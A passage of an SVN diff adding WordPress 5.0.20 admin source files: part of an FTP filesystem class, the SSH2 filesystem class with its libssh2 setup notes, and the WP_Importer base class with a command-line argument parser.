+		if ( false === $bytes_written || $bytes_written != strlen( $contents ) ) {
+			fclose( $temphandle );
+			unlink( $temp );
+
+			reset_mbstring_encoding();
+
+			return false;
+		}
+
+		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to
+
+		$ret = $this->ftp->fput($file, $temphandle);
+
+		reset_mbstring_encoding();
+
+		fclose($temphandle);
+		unlink($temp);
+
+		$this->chmod($file, $mode);
+
+		return $ret;
+	}
+
+	/**
+	 *
+	 * @return string
+	 */
+	public function cwd() {
+		$cwd = $this->ftp->pwd();
+		if ( $cwd )
+			$cwd = trailingslashit($cwd);
+		return $cwd;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function chdir($file) {
+		return $this->ftp->chdir($file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param int|bool $mode
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function chmod($file, $mode = false, $recursive = false ) {
+		if ( ! $mode ) {
+			if ( $this->is_file($file) )
+				$mode = FS_CHMOD_FILE;
+			elseif ( $this->is_dir($file) )
+				$mode = FS_CHMOD_DIR;
+			else
+				return false;
+		}
+
+		// chmod any sub-objects if recursive.
+		if ( $recursive && $this->is_dir($file) ) {
+			$filelist = $this->dirlist($file);
+			foreach ( (array)$filelist as $filename => $filemeta )
+				$this->chmod($file . '/' . $filename, $mode, $recursive);
+		}
+
+		// chmod the file or directory
+		return $this->ftp->chmod($file, $mode);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string
+	 */
+	public function owner($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['owner'];
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string
+	 */
+	public function getchmod($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['permsn'];
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string
+	 */
+	public function group($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['group'];
+	}
+
+	/**
+	 *
+	 * @param string   $source
+	 * @param string   $destination
+	 * @param bool     $overwrite
+	 * @param int|bool $mode
+	 * @return bool
+	 */
+	public function copy($source, $destination, $overwrite = false, $mode = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+
+		$content = $this->get_contents($source);
+		if ( false === $content )
+			return false;
+
+		return $this->put_contents($destination, $content, $mode);
+	}
+
+	/**
+	 *
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool   $overwrite
+	 * @return bool
+	 */
+	public function move($source, $destination, $overwrite = false ) {
+		return $this->ftp->rename($source, $destination);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param bool   $recursive
+	 * @param string $type
+	 * @return bool
+	 */
+	public function delete($file, $recursive = false, $type = false) {
+		if ( empty($file) )
+			return false;
+		if ( 'f' == $type || $this->is_file($file) )
+			return $this->ftp->delete($file);
+		if ( !$recursive )
+			return $this->ftp->rmdir($file);
+
+		return $this->ftp->mdel($file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function exists( $file ) {
+		$list = $this->ftp->nlist( $file );
+
+		if ( empty( $list ) && $this->is_dir( $file ) ) {
+			return true; // File is an empty directory.
+		}
+
+		return !empty( $list ); //empty list = no file, so invert.
+		// Return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server.
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_file($file) {
+		if ( $this->is_dir($file) )
+			return false;
+		if ( $this->exists($file) )
+			return true;
+		return false;
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @return bool
+	 */
+	public function is_dir($path) {
+		$cwd = $this->cwd();
+		if ( $this->chdir($path) ) {
+			$this->chdir($cwd);
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_readable($file) {
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_writable($file) {
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function atime($file) {
+		return false;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return int
+	 */
+	public function mtime($file) {
+		return $this->ftp->mdtm($file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function size($file) {
+		return $this->ftp->filesize($file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param int $time
+	 * @param int $atime
+	 * @return bool
+	 */
+	public function touch($file, $time = 0, $atime = 0 ) {
+		return false;
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param mixed  $chmod
+	 * @param mixed  $chown
+	 * @param mixed  $chgrp
+	 * @return bool
+	 */
+	public function mkdir($path, $chmod = false, $chown = false, $chgrp = false ) {
+		$path = untrailingslashit($path);
+		if ( empty($path) )
+			return false;
+
+		if ( ! $this->ftp->mkdir($path) )
+			return false;
+		if ( ! $chmod )
+			$chmod = FS_CHMOD_DIR;
+		$this->chmod($path, $chmod);
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function rmdir($path, $recursive = false ) {
+		return $this->delete($path, $recursive);
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param bool   $include_hidden
+	 * @param bool   $recursive
+	 * @return bool|array
+	 */
+	public function dirlist($path = '.', $include_hidden = true, $recursive = false ) {
+		if ( $this->is_file($path) ) {
+			$limit_file = basename($path);
+			$path = dirname($path) . '/';
+		} else {
+			$limit_file = false;
+		}
+
+		mbstring_binary_safe_encoding();
+
+		$list = $this->ftp->dirlist($path);
+		if ( empty( $list ) && ! $this->exists( $path ) ) {
+
+			reset_mbstring_encoding();
+
+			return false;
+		}
+
+		$ret = array();
+		foreach ( $list as $struc ) {
+
+			if ( '.' == $struc['name'] || '..' == $struc['name'] )
+				continue;
+
+			if ( ! $include_hidden && '.' == $struc['name'][0] )
+				continue;
+
+			if ( $limit_file && $struc['name'] != $limit_file )
+				continue;
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			// Replace symlinks formatted as "source -> target" with just the source name
+			if ( $struc['islink'] )
+				$struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] );
+
+			// Add the Octal representation of the file permissions
+			$struc['permsn'] = $this->getnumchmodfromh( $struc['perms'] );
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+
+		reset_mbstring_encoding();
+
+		return $ret;
+	}
+
+	/**
+	 */
+	public function __destruct() {
+		$this->ftp->quit();
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-ssh2.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-ssh2.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-filesystem-ssh2.php	(revision 56912)
@@ -0,0 +1,599 @@
+<?php
+/**
+ * WordPress Filesystem Class for implementing SSH2
+ *
+ * To use this class you must follow these steps for PHP 5.2.6+
+ *
+ * @contrib http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes
+ *
+ * Complie libssh2 (Note: Only 0.14 is officaly working with PHP 5.2.6+ right now, But many users have found the latest versions work)
+ *
+ * cd /usr/src
+ * wget http://surfnet.dl.sourceforge.net/sourceforge/libssh2/libssh2-0.14.tar.gz
+ * tar -zxvf libssh2-0.14.tar.gz
+ * cd libssh2-0.14/
+ * ./configure
+ * make all install
+ *
+ * Note: Do not leave the directory yet!
+ *
+ * Enter: pecl install -f ssh2
+ *
+ * Copy the ssh.so file it creates to your PHP Module Directory.
+ * Open up your PHP.INI file and look for where extensions are placed.
+ * Add in your PHP.ini file: extension=ssh2.so
+ *
+ * Restart Apache!
+ * Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp  exist.
+ *
+ * Note: as of WordPress 2.8, This utilises the PHP5+ function 'stream_get_contents'
+ *
+ * @since 2.7.0
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+class WP_Filesystem_SSH2 extends WP_Filesystem_Base {
+
+	/**
+	 */
+	public $link = false;
+
+	/**
+	 * @var resource
+	 */
+	public $sftp_link;
+	public $keys = false;
+
+	/**
+	 *
+	 * @param array $opt
+	 */
+	public function __construct( $opt = '' ) {
+		$this->method = 'ssh2';
+		$this->errors = new WP_Error();
+
+		//Check if possible to use ssh2 functions.
+		if ( ! extension_loaded('ssh2') ) {
+			$this->errors->add('no_ssh2_ext', __('The ssh2 PHP extension is not available'));
+			return;
+		}
+		if ( !function_exists('stream_get_contents') ) {
+			$this->errors->add(
+				'ssh2_php_requirement',
+				sprintf(
+					/* translators: %s: stream_get_contents() */
+					__( 'The ssh2 PHP extension is available, however, we require the PHP5 function %s' ),
+					'<code>stream_get_contents()</code>'
+				)
+			);
+			return;
+		}
+
+		// Set defaults:
+		if ( empty($opt['port']) )
+			$this->options['port'] = 22;
+		else
+			$this->options['port'] = $opt['port'];
+
+		if ( empty($opt['hostname']) )
+			$this->errors->add('empty_hostname', __('SSH2 hostname is required'));
+		else
+			$this->options['hostname'] = $opt['hostname'];
+
+		// Check if the options provided are OK.
+		if ( !empty ($opt['public_key']) && !empty ($opt['private_key']) ) {
+			$this->options['public_key'] = $opt['public_key'];
+			$this->options['private_key'] = $opt['private_key'];
+
+			$this->options['hostkey'] = array('hostkey' => 'ssh-rsa');
+
+			$this->keys = true;
+		} elseif ( empty ($opt['username']) ) {
+			$this->errors->add('empty_username', __('SSH2 username is required'));
+		}
+
+		if ( !empty($opt['username']) )
+			$this->options['username'] = $opt['username'];
+
+		if ( empty ($opt['password']) ) {
+			// Password can be blank if we are using keys.
+			if ( !$this->keys )
+				$this->errors->add('empty_password', __('SSH2 password is required'));
+		} else {
+			$this->options['password'] = $opt['password'];
+		}
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function connect() {
+		if ( ! $this->keys ) {
+			$this->link = @ssh2_connect($this->options['hostname'], $this->options['port']);
+		} else {
+			$this->link = @ssh2_connect($this->options['hostname'], $this->options['port'], $this->options['hostkey']);
+		}
+
+		if ( ! $this->link ) {
+			$this->errors->add( 'connect',
+				/* translators: %s: hostname:port */
+				sprintf( __( 'Failed to connect to SSH2 Server %s' ),
+					$this->options['hostname'] . ':' . $this->options['port']
+				)
+			);
+			return false;
+		}
+
+		if ( !$this->keys ) {
+			if ( ! @ssh2_auth_password($this->link, $this->options['username'], $this->options['password']) ) {
+				$this->errors->add( 'auth',
+					/* translators: %s: username */
+					sprintf( __( 'Username/Password incorrect for %s' ),
+						$this->options['username']
+					)
+				);
+				return false;
+			}
+		} else {
+			if ( ! @ssh2_auth_pubkey_file($this->link, $this->options['username'], $this->options['public_key'], $this->options['private_key'], $this->options['password'] ) ) {
+				$this->errors->add( 'auth',
+					/* translators: %s: username */
+					sprintf( __( 'Public and Private keys incorrect for %s' ),
+						$this->options['username']
+					)
+				);
+				return false;
+			}
+		}
+
+		$this->sftp_link = ssh2_sftp( $this->link );
+		if ( ! $this->sftp_link ) {
+			$this->errors->add( 'connect',
+				/* translators: %s: hostname:port */
+				sprintf( __( 'Failed to initialize a SFTP subsystem session with the SSH2 Server %s' ),
+					$this->options['hostname'] . ':' . $this->options['port']
+				)
+			);
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Gets the ssh2.sftp PHP stream wrapper path to open for the given file.
+	 *
+	 * This method also works around a PHP bug where the root directory (/) cannot
+	 * be opened by PHP functions, causing a false failure. In order to work around
+	 * this, the path is converted to /./ which is semantically the same as /
+	 * See https://bugs.php.net/bug.php?id=64169 for more details.
+	 *
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $path The File/Directory path on the remote server to return
+	 * @return string The ssh2.sftp:// wrapped path to use.
+	 */
+	public function sftp_path( $path ) {
+		if ( '/' === $path ) {
+			$path = '/./';
+		}
+		return 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim( $path, '/' );
+	}
+
+	/**
+	 *
+	 * @param string $command
+	 * @param bool $returnbool
+	 * @return bool|string True on success, false on failure. String if the command was executed, `$returnbool`
+	 *                     is false (default), and data from the resulting stream was retrieved.
+	 */
+	public function run_command( $command, $returnbool = false ) {
+		if ( ! $this->link )
+			return false;
+
+		if ( ! ($stream = ssh2_exec($this->link, $command)) ) {
+			$this->errors->add( 'command',
+				/* translators: %s: command */
+				sprintf( __( 'Unable to perform command: %s'),
+					$command
+				)
+			);
+		} else {
+			stream_set_blocking( $stream, true );
+			stream_set_timeout( $stream, FS_TIMEOUT );
+			$data = stream_get_contents( $stream );
+			fclose( $stream );
+
+			if ( $returnbool )
+				return ( $data === false ) ? false : '' != trim($data);
+			else
+				return $data;
+		}
+		return false;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string|false
+	 */
+	public function get_contents( $file ) {
+		return file_get_contents( $this->sftp_path( $file ) );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return array
+	 */
+	public function get_contents_array($file) {
+		return file( $this->sftp_path( $file ) );
+	}
+
+	/**
+	 *
+	 * @param string   $file
+	 * @param string   $contents
+	 * @param bool|int $mode
+	 * @return bool
+	 */
+	public function put_contents($file, $contents, $mode = false ) {
+		$ret = file_put_contents( $this->sftp_path( $file ), $contents );
+
+		if ( $ret !== strlen( $contents ) )
+			return false;
+
+		$this->chmod($file, $mode);
+
+		return true;
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function cwd() {
+		$cwd = ssh2_sftp_realpath( $this->sftp_link, '.' );
+		if ( $cwd ) {
+			$cwd = trailingslashit( trim( $cwd ) );
+		}
+		return $cwd;
+	}
+
+	/**
+	 *
+	 * @param string $dir
+	 * @return bool|string
+	 */
+	public function chdir($dir) {
+		return $this->run_command('cd ' . $dir, true);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param string $group
+	 * @param bool   $recursive
+	 *
+	 * @return bool
+	 */
+	public function chgrp($file, $group, $recursive = false ) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return $this->run_command(sprintf('chgrp %s %s', escapeshellarg($group), escapeshellarg($file)), true);
+		return $this->run_command(sprintf('chgrp -R %s %s', escapeshellarg($group), escapeshellarg($file)), true);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param int    $mode
+	 * @param bool   $recursive
+	 * @return bool|string
+	 */
+	public function chmod($file, $mode = false, $recursive = false) {
+		if ( ! $this->exists($file) )
+			return false;
+
+		if ( ! $mode ) {
+			if ( $this->is_file($file) )
+				$mode = FS_CHMOD_FILE;
+			elseif ( $this->is_dir($file) )
+				$mode = FS_CHMOD_DIR;
+			else
+				return false;
+		}
+
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return $this->run_command(sprintf('chmod %o %s', $mode, escapeshellarg($file)), true);
+		return $this->run_command(sprintf('chmod -R %o %s', $mode, escapeshellarg($file)), true);
+	}
+
+	/**
+	 * Change the ownership of a file / folder.
+	 *
+	 *
+	 * @param string     $file      Path to the file.
+	 * @param string|int $owner     A user name or number.
+	 * @param bool       $recursive Optional. If set True changes file owner recursivly. Default False.
+	 * @return bool True on success or false on failure.
+	 */
+	public function chown( $file, $owner, $recursive = false ) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return $this->run_command(sprintf('chown %s %s', escapeshellarg($owner), escapeshellarg($file)), true);
+		return $this->run_command(sprintf('chown -R %s %s', escapeshellarg($owner), escapeshellarg($file)), true);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string|false
+	 */
+	public function owner($file) {
+		$owneruid = @fileowner( $this->sftp_path( $file ) );
+		if ( ! $owneruid )
+			return false;
+		if ( ! function_exists('posix_getpwuid') )
+			return $owneruid;
+		$ownerarray = posix_getpwuid($owneruid);
+		return $ownerarray['name'];
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string
+	 */
+	public function getchmod($file) {
+		return substr( decoct( @fileperms( $this->sftp_path( $file ) ) ), -3 );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return string|false
+	 */
+	public function group($file) {
+		$gid = @filegroup( $this->sftp_path( $file ) );
+		if ( ! $gid )
+			return false;
+		if ( ! function_exists('posix_getgrgid') )
+			return $gid;
+		$grouparray = posix_getgrgid($gid);
+		return $grouparray['name'];
+	}
+
+	/**
+	 *
+	 * @param string   $source
+	 * @param string   $destination
+	 * @param bool     $overwrite
+	 * @param int|bool $mode
+	 * @return bool
+	 */
+	public function copy($source, $destination, $overwrite = false, $mode = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+		$content = $this->get_contents($source);
+		if ( false === $content)
+			return false;
+		return $this->put_contents($destination, $content, $mode);
+	}
+
+	/**
+	 *
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool   $overwrite
+	 * @return bool
+	 */
+	public function move($source, $destination, $overwrite = false) {
+		return @ssh2_sftp_rename( $this->sftp_link, $source, $destination );
+	}
+
+	/**
+	 *
+	 * @param string      $file
+	 * @param bool        $recursive
+	 * @param string|bool $type
+	 * @return bool
+	 */
+	public function delete($file, $recursive = false, $type = false) {
+		if ( 'f' == $type || $this->is_file($file) )
+			return ssh2_sftp_unlink($this->sftp_link, $file);
+		if ( ! $recursive )
+			 return ssh2_sftp_rmdir($this->sftp_link, $file);
+		$filelist = $this->dirlist($file);
+		if ( is_array($filelist) ) {
+			foreach ( $filelist as $filename => $fileinfo) {
+				$this->delete($file . '/' . $filename, $recursive, $fileinfo['type']);
+			}
+		}
+		return ssh2_sftp_rmdir($this->sftp_link, $file);
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function exists($file) {
+		return file_exists( $this->sftp_path( $file ) );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_file($file) {
+		return is_file( $this->sftp_path( $file ) );
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @return bool
+	 */
+	public function is_dir($path) {
+		return is_dir( $this->sftp_path( $path ) );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_readable($file) {
+		return is_readable( $this->sftp_path( $file ) );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_writable($file) {
+		// PHP will base it's writable checks on system_user === file_owner, not ssh_user === file_owner
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return int
+	 */
+	public function atime($file) {
+		return fileatime( $this->sftp_path( $file ) );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return int
+	 */
+	public function mtime($file) {
+		return filemtime( $this->sftp_path( $file ) );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @return int
+	 */
+	public function size($file) {
+		return filesize( $this->sftp_path( $file ) );
+	}
+
+	/**
+	 *
+	 * @param string $file
+	 * @param int    $time
+	 * @param int    $atime
+	 */
+	public function touch($file, $time = 0, $atime = 0) {
+		//Not implemented.
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param mixed  $chmod
+	 * @param mixed  $chown
+	 * @param mixed  $chgrp
+	 * @return bool
+	 */
+	public function mkdir($path, $chmod = false, $chown = false, $chgrp = false) {
+		$path = untrailingslashit($path);
+		if ( empty($path) )
+			return false;
+
+		if ( ! $chmod )
+			$chmod = FS_CHMOD_DIR;
+		if ( ! ssh2_sftp_mkdir($this->sftp_link, $path, $chmod, true) )
+			return false;
+		if ( $chown )
+			$this->chown($path, $chown);
+		if ( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param bool   $recursive
+	 * @return bool
+	 */
+	public function rmdir($path, $recursive = false) {
+		return $this->delete($path, $recursive);
+	}
+
+	/**
+	 *
+	 * @param string $path
+	 * @param bool   $include_hidden
+	 * @param bool   $recursive
+	 * @return bool|array
+	 */
+	public function dirlist($path, $include_hidden = true, $recursive = false) {
+		if ( $this->is_file($path) ) {
+			$limit_file = basename($path);
+			$path = dirname($path);
+		} else {
+			$limit_file = false;
+		}
+
+		if ( ! $this->is_dir($path) )
+			return false;
+
+		$ret = array();
+		$dir = @dir( $this->sftp_path( $path ) );
+
+		if ( ! $dir )
+			return false;
+
+		while (false !== ($entry = $dir->read()) ) {
+			$struc = array();
+			$struc['name'] = $entry;
+
+			if ( '.' == $struc['name'] || '..' == $struc['name'] )
+				continue; //Do not care about these folders.
+
+			if ( ! $include_hidden && '.' == $struc['name'][0] )
+				continue;
+
+			if ( $limit_file && $struc['name'] != $limit_file )
+				continue;
+
+			$struc['perms'] 	= $this->gethchmod($path.'/'.$entry);
+			$struc['permsn']	= $this->getnumchmodfromh($struc['perms']);
+			$struc['number'] 	= false;
+			$struc['owner']    	= $this->owner($path.'/'.$entry);
+			$struc['group']    	= $this->group($path.'/'.$entry);
+			$struc['size']    	= $this->size($path.'/'.$entry);
+			$struc['lastmodunix']= $this->mtime($path.'/'.$entry);
+			$struc['lastmod']   = date('M j',$struc['lastmodunix']);
+			$struc['time']    	= date('h:i:s',$struc['lastmodunix']);
+			$struc['type']		= $this->is_dir($path.'/'.$entry) ? 'd' : 'f';
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+		$dir->close();
+		unset($dir);
+		return $ret;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-importer.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-importer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-importer.php	(revision 56912)
@@ -0,0 +1,323 @@
+<?php
+/**
+ * WP_Importer base class
+ */
+class WP_Importer {
+	/**
+	 * Class Constructor
+	 *
+	 */
+	public function __construct() {}
+
+	/**
+	 * Returns array with imported permalinks from WordPress database
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $importer_name
+	 * @param string $bid
+	 * @return array
+	 */
+	public function get_imported_posts( $importer_name, $bid ) {
+		global $wpdb;
+
+		$hashtable = array();
+
+		$limit = 100;
+		$offset = 0;
+
+		// Grab all posts in chunks
+		do {
+			$meta_key = $importer_name . '_' . $bid . '_permalink';
+			$sql = $wpdb->prepare( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = %s LIMIT %d,%d", $meta_key, $offset, $limit );
+			$results = $wpdb->get_results( $sql );
+
+			// Increment offset
+			$offset = ( $limit + $offset );
+
+			if ( !empty( $results ) ) {
+				foreach ( $results as $r ) {
+					// Set permalinks into array
+					$hashtable[$r->meta_value] = intval( $r->post_id );
+				}
+			}
+		} while ( count( $results ) == $limit );
+
+		// Unset to save memory.
+		unset( $results, $r );
+
+		return $hashtable;
+	}
+
+	/**
+	 * Return count of imported permalinks from WordPress database
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $importer_name
+	 * @param string $bid
+	 * @return int
+	 */
+	public function count_imported_posts( $importer_name, $bid ) {
+		global $wpdb;
+
+		$count = 0;
+
+		// Get count of permalinks
+		$meta_key = $importer_name . '_' . $bid . '_permalink';
+		$sql = $wpdb->prepare( "SELECT COUNT( post_id ) AS cnt FROM $wpdb->postmeta WHERE meta_key = '%s'", $meta_key );
+
+		$result = $wpdb->get_results( $sql );
+
+		if ( !empty( $result ) )
+			$count = intval( $result[0]->cnt );
+
+		// Unset to save memory.
+		unset( $results );
+
+		return $count;
+	}
+
+	/**
+	 * Set array with imported comments from WordPress database
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param string $bid
+	 * @return array
+	 */
+	public function get_imported_comments( $bid ) {
+		global $wpdb;
+
+		$hashtable = array();
+
+		$limit = 100;
+		$offset = 0;
+
+		// Grab all comments in chunks
+		do {
+			$sql = $wpdb->prepare( "SELECT comment_ID, comment_agent FROM $wpdb->comments LIMIT %d,%d", $offset, $limit );
+			$results = $wpdb->get_results( $sql );
+
+			// Increment offset
+			$offset = ( $limit + $offset );
+
+			if ( !empty( $results ) ) {
+				foreach ( $results as $r ) {
+					// Explode comment_agent key
+					list ( $ca_bid, $source_comment_id ) = explode( '-', $r->comment_agent );
+					$source_comment_id = intval( $source_comment_id );
+
+					// Check if this comment came from this blog
+					if ( $bid == $ca_bid ) {
+						$hashtable[$source_comment_id] = intval( $r->comment_ID );
+					}
+				}
+			}
+		} while ( count( $results ) == $limit );
+
+		// Unset to save memory.
+		unset( $results, $r );
+
+		return $hashtable;
+	}
+
+	/**
+	 *
+	 * @param int $blog_id
+	 * @return int|void
+	 */
+	public function set_blog( $blog_id ) {
+		if ( is_numeric( $blog_id ) ) {
+			$blog_id = (int) $blog_id;
+		} else {
+			$blog = 'http://' . preg_replace( '#^https?://#', '', $blog_id );
+			if ( ( !$parsed = parse_url( $blog ) ) || empty( $parsed['host'] ) ) {
+				fwrite( STDERR, "Error: can not determine blog_id from $blog_id\n" );
+				exit();
+			}
+			if ( empty( $parsed['path'] ) ) {
+				$parsed['path'] = '/';
+			}
+			$blogs = get_sites( array( 'domain' => $parsed['host'], 'number' => 1, 'path' => $parsed['path'] ) );
+			if ( ! $blogs ) {
+				fwrite( STDERR, "Error: Could not find blog\n" );
+				exit();
+			}
+			$blog = array_shift( $blogs );
+			$blog_id = (int) $blog->blog_id;
+		}
+
+		if ( function_exists( 'is_multisite' ) ) {
+			if ( is_multisite() )
+				switch_to_blog( $blog_id );
+		}
+
+		return $blog_id;
+	}
+
+	/**
+	 *
+	 * @param int $user_id
+	 * @return int|void
+	 */
+	public function set_user( $user_id ) {
+		if ( is_numeric( $user_id ) ) {
+			$user_id = (int) $user_id;
+		} else {
+			$user_id = (int) username_exists( $user_id );
+		}
+
+		if ( !$user_id || !wp_set_current_user( $user_id ) ) {
+			fwrite( STDERR, "Error: can not find user\n" );
+			exit();
+		}
+
+		return $user_id;
+	}
+
+	/**
+	 * Sort by strlen, longest string first
+	 *
+	 * @param string $a
+	 * @param string $b
+	 * @return int
+	 */
+	public function cmpr_strlen( $a, $b ) {
+		return strlen( $b ) - strlen( $a );
+	}
+
+	/**
+	 * GET URL
+	 *
+	 * @param string $url
+	 * @param string $username
+	 * @param string $password
+	 * @param bool   $head
+	 * @return array
+	 */
+	public function get_page( $url, $username = '', $password = '', $head = false ) {
+		// Increase the timeout
+		add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) );
+
+		$headers = array();
+		$args = array();
+		if ( true === $head )
+			$args['method'] = 'HEAD';
+		if ( !empty( $username ) && !empty( $password ) )
+			$headers['Authorization'] = 'Basic ' . base64_encode( "$username:$password" );
+
+		$args['headers'] = $headers;
+
+		return wp_safe_remote_request( $url, $args );
+	}
+
+	/**
+	 * Bump up the request timeout for http requests
+	 *
+	 * @param int $val
+	 * @return int
+	 */
+	public function bump_request_timeout( $val ) {
+		return 60;
+	}
+
+	/**
+	 * Check if user has exceeded disk quota
+	 *
+	 * @return bool
+	 */
+	public function is_user_over_quota() {
+		if ( function_exists( 'upload_is_user_over_quota' ) ) {
+			if ( upload_is_user_over_quota() ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Replace newlines, tabs, and multiple spaces with a single space
+	 *
+	 * @param string $string
+	 * @return string
+	 */
+	public function min_whitespace( $string ) {
+		return preg_replace( '|[\r\n\t ]+|', ' ', $string );
+	}
+
+	/**
+	 * Resets global variables that grow out of control during imports.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @global wpdb  $wpdb       WordPress database abstraction object.
+	 * @global array $wp_actions
+	 */
+	public function stop_the_insanity() {
+		global $wpdb, $wp_actions;
+		// Or define( 'WP_IMPORTING', true );
+		$wpdb->queries = array();
+		// Reset $wp_actions to keep it from growing out of control
+		$wp_actions = array();
+	}
+}
+
+/**
+ * Returns value of command line params.
+ * Exits when a required param is not set.
+ *
+ * @param string $param
+ * @param bool   $required
+ * @return mixed
+ */
+function get_cli_args( $param, $required = false ) {
+	$args = $_SERVER['argv'];
+
+	$out = array();
+
+	$last_arg = null;
+	$return = null;
+
+	$il = sizeof( $args );
+
+	for ( $i = 1, $il; $i < $il; $i++ ) {
+		if ( (bool) preg_match( "/^--(.+)/", $args[$i], $match ) ) {
+			$parts = explode( "=", $match[1] );
+			$key = preg_replace( "/[^a-z0-9]+/", "", $parts[0] );
+
+			if ( isset( $parts[1] ) ) {
+				$out[$key] = $parts[1];
+			} else {
+				$out[$key] = true;
+			}
+
+			$last_arg = $key;
+		} elseif ( (bool) preg_match( "/^-([a-zA-Z0-9]+)/", $args[$i], $match ) ) {
+			for ( $j = 0, $jl = strlen( $match[1] ); $j < $jl; $j++ ) {
+				$key = $match[1]{$j};
+				$out[$key] = true;
+			}
+
+			$last_arg = $key;
+		} elseif ( $last_arg !== null ) {
+			$out[$last_arg] = $args[$i];
+		}
+	}
+
+	// Check array for specified param
+	if ( isset( $out[$param] ) ) {
+		// Set return value
+		$return = $out[$param];
+	}
+
+	// Check for missing required param
+	if ( !isset( $out[$param] ) && $required ) {
+		// Display message and exit
+		echo "\"$param\" parameter is required but was not specified\n";
+		exit();
+	}
+
+	return $return;
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-internal-pointers.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-internal-pointers.php	(revision 56912)
